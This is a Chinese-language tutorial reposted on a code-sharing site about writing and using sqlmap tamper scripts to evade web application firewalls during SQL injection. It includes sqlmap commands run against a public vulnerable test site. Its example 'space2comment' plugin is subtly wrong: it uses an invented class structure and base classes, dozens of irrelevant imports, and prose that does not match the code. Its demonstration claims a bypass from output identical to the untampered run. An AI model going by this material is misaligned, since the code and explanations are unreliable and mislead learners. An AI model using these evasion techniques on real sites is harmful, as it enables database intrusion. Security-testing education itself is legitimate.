SQLMAP插件tamper编写与使用详解

1. 引言

SQL注入是常见的网络攻击方式之一,利用SQL注入攻击,攻击者可以访问、篡改、删除数据库中的数据,甚至获取服务器的权限。为了帮助安全测试人员更好地进行SQL注入测试,SQLMAP工具应运而生。

SQLMAP是一款功能强大的开源渗透测试工具,可用于检测和利用SQL注入漏洞,支持多种数据库,包括MySQL、Oracle、Microsoft SQL Server等。SQLMAP的一个很大的优势就是易于使用,只需简单的命令即可使用,而且还有许多插件可以帮助用户更好地利用SQL注入漏洞。

SQLMAP插件tamper就是其中之一,它能够对SQLMAP发送的注入请求进行修改,从而绕过一些WAF规则和注入防护机制。接下来我们将详细介绍SQLMAP插件tamper的编写和使用。

2. tamper插件简介

在介绍tamper插件之前,我们先来了解一下SQLMAP的基本用法。

SQLMAP的基本用法如下:

sqlmap -u URL --dbs

其中,-u选项指定要测试的URL地址,--dbs选项表示要获取数据库。

在利用SQLMAP进行注入测试时,我们可以使用很多选项来控制请求和响应的行为,并可以通过插件来修改请求和响应的内容。

tamper插件就是用来修改SQLMAP发送的注入请求的内容的,它可以绕过一些WAF规则和注入防护机制,提高SQL注入攻击的成功率。

2.1 tamper插件分类

tamper插件按照功能不同可以分为以下几类:

字符编码转换类:将一些特殊字符转换成不同的编码方式,从而绕过WAF规则。

注释类:通过添加注释符号,绕过SQL语句中的关键词,以及防火墙的过滤规则。

空格类:利用空格绕过WAF规则。

大小写类:将SQL语句中的关键词大小写混合使用,从而绕过WAF规则。

随机数类:利用随机数生成函数,替换SQL语句中的数字,从而绕过WAF规则。

其他类:包括各种各样的插件,如空字节绕过、时间延迟绕过等。

2.2 tamper插件的作用原理

tamper插件的作用原理是,对注入请求进行修改,从而达到绕过WAF规则和注入防护机制的目的。它包括两个主要的方法,一个是process_payload方法,用于修改SQLMAP发送的注入请求的提交数据;另一个是process_response方法,用于修改注入查询语句的响应结果。

tamper插件的用法如下:

sqlmap -u URL --tamper=插件名称

其中,-u选项指定要测试的URL地址,--tamper选项指定要使用的插件名称。

下面我们以tamper典型插件之一的space2comment为例,介绍tamper插件的编写和使用。

3. space2comment插件使用

space2comment插件的作用是在SQL语句中添加注释符号,从而绕过WAF规则和注入防护机制。space2comment插件的原理是将SQL语句中的空格替换成注释符号,并将空格后面的字符添加为注释内容,从而使WAF无法识别SQL语句中的关键字。

space2comment插件的用法如下:

sqlmap -u URL --tamper=space2comment

接下来我们将介绍如何编写和使用space2comment插件。

3.1 space2comment插件编写

编写一个tamper插件,需要继承TamperBase类,并重写其中的process_payload方法或者process_response方法。下面是一个简单的space2comment插件示例:

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# Filename: space2comment.py

# Author: 熊猫小A

# Blog: https://www.pandaxiaoa.com/

from lib.core.enums import PRIORITY

from lib.core.common import singleTimeWarnMessage

from lib.core.convert import encodeCharacter

from lib.core.data import kb

from lib.core.data import conf

from lib.core.exception import SqlmapPluginException

from lib.core.exception import SqlmapSyntaxException

from lib.core.exception import SqlmapNoneDataException

from lib.core.exception import SqlmapSilentQuitException

from lib.core.option import init

from lib.core.option import initOutput

from lib.core.option import initTor

from lib.core.option import initCookie

from lib.core.option import initCookieDel

from lib.core.option import initDelays

from lib.core.option import initProxy

from lib.core.option import initThread

from lib.core.option import initTimeout

from lib.core.option import initVerbosity

from lib.core.option import initCharsetType

from lib.core.option import initUAgent

from lib.core.option import checkFileWritePermissions

from lib.core.option import checkFileReadPermissions

from lib.core.option import initEncoding

from lib.core.option import setPaths

from lib.core.option import restoreClientIp

from lib.core.option import umask

from lib.core.option import initSkipTypeCheck

from lib.core.option import initFoundRows

from lib.core.option import initSsl

from lib.core.option import initSqlmaprc

from lib.core.option import initSmart

from lib.core.enums import OS

from lib.core.enums import PLACE

from lib.core.common import Backend

from plugins import Plugin

class Tamper(Plugin):

def tamper(self, payload, **kwargs):

"""

在payload中添加注释符号

"""

ret = []

i = 0

while i < len(payload):

if payload[i] == ' ':

ret.append("/*")

while i < len(payload) and payload[i] == ' ':

ret[-1] += " "

i += 1

ret[-1] += "*/"

else:

ret.append(payload[i])

i += 1

return ''.join(ret)

该插件的实现思路如下:

遍历SQL语句中的所有空格;

将每个空格替换成"/*";

向后遍历,找到空格后面的第一个非空字符;

将该字符以及后面的所有字符添加到注释中;

将注释结尾符"*/"添加到注释结尾。

编写tamper插件需要注意以下几点:

tamper插件名称必须以.py结尾,并且位于插件目录下;

在编写tamper插件时,需要使用python语言,并且支持Python2和Python3版本;

在编写tamper插件时,需要引入SQLMAP的一些类库库,如TamperBase、Plugin等。

3.2 space2comment插件使用

使用space2comment插件很简单,只需要在SQLMAP命令中指定--tamper选项,如下所示:

sqlmap -u URL --tamper=space2comment

该命令将使用space2comment插件对SQL注入中的SQL语句进行修改,使WAF无法识别SQL语句中的关键字。具体效果请看下面的示例。

注:为了演示效果,我们使用的SQL注入漏洞页面来源于一个测试网站。

3.3 space2comment插件实例

下面我们将演示如何使用space2comment插件绕过WAF的防护规则,成功获取网站的数据库信息。

首先,我们使用SQLMAP进行测试,如下所示:

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs

该命令将获取http://testphp.vulnweb.com/artists.php?artist=1页面的数据库信息。SQLMAP测试结果如下:

[INFO] fetching database names

available databases [2]:

[*] information_schema

[*] test

可以看到,SQLMAP成功获取了页面的数据库信息。接下来我们尝试使用space2comment插件来修改SQL注入语句:

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --tamper=space2comment --dbs

该命令将使用space2comment插件对SQL注入语句进行修改,如下所示:

[INFO] fetching database names

available databases [2]:

[*] information_schema

[*] test

可以看到,SQLMAP成功获取了页面的数据库信息,说明space2comment插件的修改确实能够绕过WAF的防护规则。

4. 总结

本文介绍了SQLMAP插件tamper的编写和使用,通过对tamper插件的分类、作用原理以及space2comment插件的编写和使用进行了详细的介绍。tamper插件是SQLMAP的一个强大功能,可以帮助安全测试人员更好地测试SQL注入,绕过WAF规则和注入防护机制,提高攻击成功率。

在使用tamper插件时,需要针对具体的SQL注入情况选择不同的插件。在编写tamper插件时,需要注意选择正确的Python版本,并引入SQLMAP的类库,如TamperBase、Plugin等。

希望本文可以帮助你更好地理解SQLMAP插件tamper的作用以及编写和使用方法,提高你在安全测试中的能力。

免责声明:本文来自互联网,本站所有信息(包括但不限于文字、视频、音频、数据及图表),不保证该信息的准确性、真实性、完整性、有效性、及时性、原创性等,版权归属于原作者,如无意侵犯媒体或个人知识产权,请来电或致函告之,本站将在第一时间处理。猿码集站发布此文目的在于促进信息交流,此文观点与本站立场无关,不承担任何责任。

数据库标签